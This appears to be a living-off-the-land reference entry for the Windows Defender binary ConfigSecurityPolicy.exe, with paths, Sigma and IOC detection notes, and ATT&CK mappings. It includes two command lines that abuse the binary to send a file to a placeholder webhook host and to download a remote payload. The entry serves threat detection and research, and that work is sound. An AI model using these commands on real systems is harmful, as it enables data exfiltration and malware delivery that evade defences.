



# /ConfigSecurityPolicy.exe ☆ Star 7,060

[Upload](#) [Download \(INetCache\)](#)

Binary part of Windows Defender. Used to manage settings in Windows Defender. you can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads.

### Paths:

C:\Program Files\Windows Defender\ConfigSecurityPolicy.exe  
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\ConfigSecurityPolicy.exe

### Resources:

- <https://docs.microsoft.com/en-US/mem/configmgr/comanage/how-to-switch-workloads>
- <https://docs.microsoft.com/en-US/mem/configmgr/comanage/workloads>
- <https://docs.microsoft.com/en-US/mem/configmgr/comanage/how-to-monitor>
- <https://twitter.com/NtSetDefault/status/1302589153570365440?s=20>

### Acknowledgements:

- lalle Teixeira ([@NtSetDefault](#))
- Nir Chako (Pentera) ([@C\\_h4ck\\_0](#))

### Detections:

- Sigma: [proc\\_creation\\_win\\_lolbin\\_configsecuritypolicy.yml](#)
- IOC: ConfigSecurityPolicy storing data into alternate data streams.
- IOC: Preventing/Detecting ConfigSecurityPolicy with non-RFC1918 addresses by Network IPS/IDS.
- IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching ConfigSecurityPolicy.exe.
- IOC: User Agent is "MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729"

## Upload

Upload file, credentials or data exfiltration in general

```
ConfigSecurityPolicy.exe C:\Windows\System32\calc.exe https://webhook.site/xxxxxxx?encodedfile
```

**Use case:** Upload file  
**Privileges required:** User  
**Operating systems:** Windows 10  
**ATT&CK® technique:** [T1567: Exfiltration Over Web Service](#)

## Download

It will download a remote payload and place it in INetCache.

```
ConfigSecurityPolicy.exe https://example.com/payload
```

**Use case:** Downloads payload from remote server  
**Privileges required:** User  
**Operating systems:** Windows 10, Windows 11  
**ATT&CK® technique:** [T1105: Ingress Tool Transfer](#)  
**Tags:** [Download: INetCache](#)